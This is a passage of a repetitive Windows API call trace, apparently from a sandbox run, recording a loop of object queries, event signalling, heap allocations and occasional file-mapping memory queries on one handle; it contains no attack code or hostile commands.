[0057.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.423] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.423] ResetEvent (hEvent=0xe8) returned 1 [0057.423] SetEvent (hEvent=0xec) returned 1 [0057.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.423] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.423] ResetEvent (hEvent=0xe8) returned 1 [0057.423] SetEvent (hEvent=0xec) returned 1 [0057.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.423] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.423] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.423] ResetEvent (hEvent=0xe8) returned 1 [0057.423] SetEvent (hEvent=0xec) returned 1 [0057.423] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.423] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.424] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.424] ResetEvent (hEvent=0xe8) returned 1 [0057.424] SetEvent (hEvent=0xec) returned 1 [0057.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.424] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.424] ResetEvent (hEvent=0xe8) returned 1 [0057.424] SetEvent (hEvent=0xec) returned 1 [0057.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.424] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.424] ResetEvent (hEvent=0xe8) returned 1 [0057.424] SetEvent (hEvent=0xec) returned 1 [0057.424] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.424] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.424] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.425] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.425] ResetEvent (hEvent=0xe8) returned 1 [0057.425] SetEvent (hEvent=0xec) returned 1 [0057.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.425] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.425] ResetEvent (hEvent=0xe8) returned 1 [0057.425] SetEvent (hEvent=0xec) returned 1 [0057.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.425] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.425] ResetEvent (hEvent=0xe8) returned 1 [0057.425] SetEvent (hEvent=0xec) returned 1 [0057.425] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.425] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.425] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.425] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.426] ResetEvent (hEvent=0xe8) returned 1 [0057.426] SetEvent (hEvent=0xec) returned 1 [0057.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.426] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.426] ResetEvent (hEvent=0xe8) returned 1 [0057.426] SetEvent (hEvent=0xec) returned 1 [0057.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.426] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.426] ResetEvent (hEvent=0xe8) returned 1 [0057.426] SetEvent (hEvent=0xec) returned 1 [0057.426] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.426] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.426] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.426] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.426] ResetEvent (hEvent=0xe8) returned 1 [0057.427] SetEvent (hEvent=0xec) returned 1 [0057.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.427] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.427] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.427] ResetEvent (hEvent=0xe8) returned 1 [0057.427] SetEvent (hEvent=0xec) returned 1 [0057.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.427] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.427] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.427] ResetEvent (hEvent=0xe8) returned 1 [0057.427] SetEvent (hEvent=0xec) returned 1 [0057.427] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.427] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.427] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.427] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.427] ResetEvent (hEvent=0xe8) returned 1 [0057.427] SetEvent (hEvent=0xec) returned 1 [0057.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.428] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.428] ResetEvent (hEvent=0xe8) returned 1 [0057.428] SetEvent (hEvent=0xec) returned 1 [0057.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.428] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.428] ResetEvent (hEvent=0xe8) returned 1 [0057.428] SetEvent (hEvent=0xec) returned 1 [0057.428] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.428] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.428] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.428] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.428] ResetEvent (hEvent=0xe8) returned 1 [0057.428] SetEvent (hEvent=0xec) returned 1 [0057.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.429] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.429] ResetEvent (hEvent=0xe8) returned 1 [0057.429] SetEvent (hEvent=0xec) returned 1 [0057.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.429] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.429] ResetEvent (hEvent=0xe8) returned 1 [0057.429] SetEvent (hEvent=0xec) returned 1 [0057.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.429] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.429] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.429] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.429] ResetEvent (hEvent=0xe8) returned 1 [0057.429] SetEvent (hEvent=0xec) returned 1 [0057.429] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.430] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.430] ResetEvent (hEvent=0xe8) returned 1 [0057.430] SetEvent (hEvent=0xec) returned 1 [0057.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.430] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.430] ResetEvent (hEvent=0xe8) returned 1 [0057.430] SetEvent (hEvent=0xec) returned 1 [0057.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.430] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.430] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.430] ResetEvent (hEvent=0xe8) returned 1 [0057.430] SetEvent (hEvent=0xec) returned 1 [0057.430] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.430] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.431] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.431] ResetEvent (hEvent=0xe8) returned 1 [0057.431] SetEvent (hEvent=0xec) returned 1 [0057.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.431] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.431] ResetEvent (hEvent=0xe8) returned 1 [0057.431] SetEvent (hEvent=0xec) returned 1 [0057.431] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.431] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.431] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.431] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.431] ResetEvent (hEvent=0xe8) returned 1 [0057.431] SetEvent (hEvent=0xec) returned 1 [0057.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.432] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.432] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.432] ResetEvent (hEvent=0xe8) returned 1 [0057.432] SetEvent (hEvent=0xec) returned 1 [0057.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.432] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.432] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.432] ResetEvent (hEvent=0xe8) returned 1 [0057.432] SetEvent (hEvent=0xec) returned 1 [0057.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.432] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.432] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.432] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.432] ResetEvent (hEvent=0xe8) returned 1 [0057.432] SetEvent (hEvent=0xec) returned 1 [0057.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.433] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.433] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.433] ResetEvent (hEvent=0xe8) returned 1 [0057.433] SetEvent (hEvent=0xec) returned 1 [0057.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.433] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.433] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.433] ResetEvent (hEvent=0xe8) returned 1 [0057.433] SetEvent (hEvent=0xec) returned 1 [0057.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.433] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.433] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.433] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.433] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.433] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.433] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.434] ResetEvent (hEvent=0xe8) returned 1 [0057.434] SetEvent (hEvent=0xec) returned 1 [0057.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.434] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.434] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.434] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.434] ResetEvent (hEvent=0xe8) returned 1 [0057.434] SetEvent (hEvent=0xec) returned 1 [0057.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.434] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.434] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.434] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.434] ResetEvent (hEvent=0xe8) returned 1 [0057.434] SetEvent (hEvent=0xec) returned 1 [0057.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.434] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.434] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.434] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.434] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.435] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.435] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.435] ResetEvent (hEvent=0xe8) returned 1 [0057.435] SetEvent (hEvent=0xec) returned 1 [0057.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.435] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.435] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.435] ResetEvent (hEvent=0xe8) returned 1 [0057.435] SetEvent (hEvent=0xec) returned 1 [0057.435] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.435] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.435] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.436] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.436] ResetEvent (hEvent=0xe8) returned 1 [0057.436] SetEvent (hEvent=0xec) returned 1 [0057.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x200) returned 0xef0e30 [0057.436] WaitForMultipleObjects (nCount=0x2, lpHandles=0xef0e30*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0057.436] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xef0e30) returned 1 [0057.436] NtQueryObject (in: Handle=0x134, ObjectInformationClass=0x2, ObjectInformation=0xed0048, ObjectInformationLength=0x2800, ReturnLength=0x224f874 | out: ObjectInformation=0xed0048, ReturnLength=0x224f874) returned 0x0 [0057.436] MapViewOfFile (hFileMappingObject=0x134, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x290000 [0057.436] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x290000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xed0048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xed0048, ResultLength=0x0) returned 0xc0000098 [0057.436] UnmapViewOfFile (lpBaseAddress=0x290000) returned 1 [0057.437] ResetEvent (hEvent=0xe8) returned 1 [0057.437] SetEvent (hEvent=0xec) returned 1 [0057.437] RtlAllocateHeap 